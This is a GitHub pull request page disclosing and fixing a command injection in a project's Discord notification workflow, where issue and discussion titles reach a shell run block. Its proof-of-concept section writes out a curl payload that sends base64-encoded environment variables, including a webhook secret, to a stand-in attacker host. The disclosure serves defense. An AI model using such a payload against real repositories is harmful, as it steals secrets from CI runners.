Security fix: Refactor Discord notification workflow for issues and discussions#2732
Open
nekros1xx wants to merge 1 commit intopo-ui:masterfrom
Open
Security fix: Refactor Discord notification workflow for issues and discussions#2732nekros1xx wants to merge 1 commit intopo-ui:masterfrom
nekros1xx wants to merge 1 commit intopo-ui:masterfrom
Conversation
Author
|
This PR addresses a security vulnerability. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
The
issue.ymlworkflow contains a GitHub Actions Expression Injection vulnerability (CWE-78: OS Command Injection) that allows arbitrary command execution on the GitHub Actions runner through crafted issue titles or discussion titles.Vulnerability Details
Affected file:
.github/workflows/issue.ymlThe expressions
${{ github.event.issue.title }}and${{ github.event.discussion.title }}are interpolated directly into therun:block before the shell interprets the script. If the issue/discussion title contains shell metacharacters, arbitrary commands execute on the runner.Proof of Concept
An attacker creates an issue with the following title:
After GitHub expression substitution, the shell executes:
TITLE="test$(curl https://attacker.example.com/$(printenv | base64))"This exfiltrates all environment variables including
DISCORD_WEBHOOK_URL_ISSUESto the attacker's server.Fix Applied
All
${{ }}expressions referencing attacker-controllable data have been moved from therun:block to theenv:block. When values are assigned to environment variables first, the shell treats them as data rather than code, preventing injection.References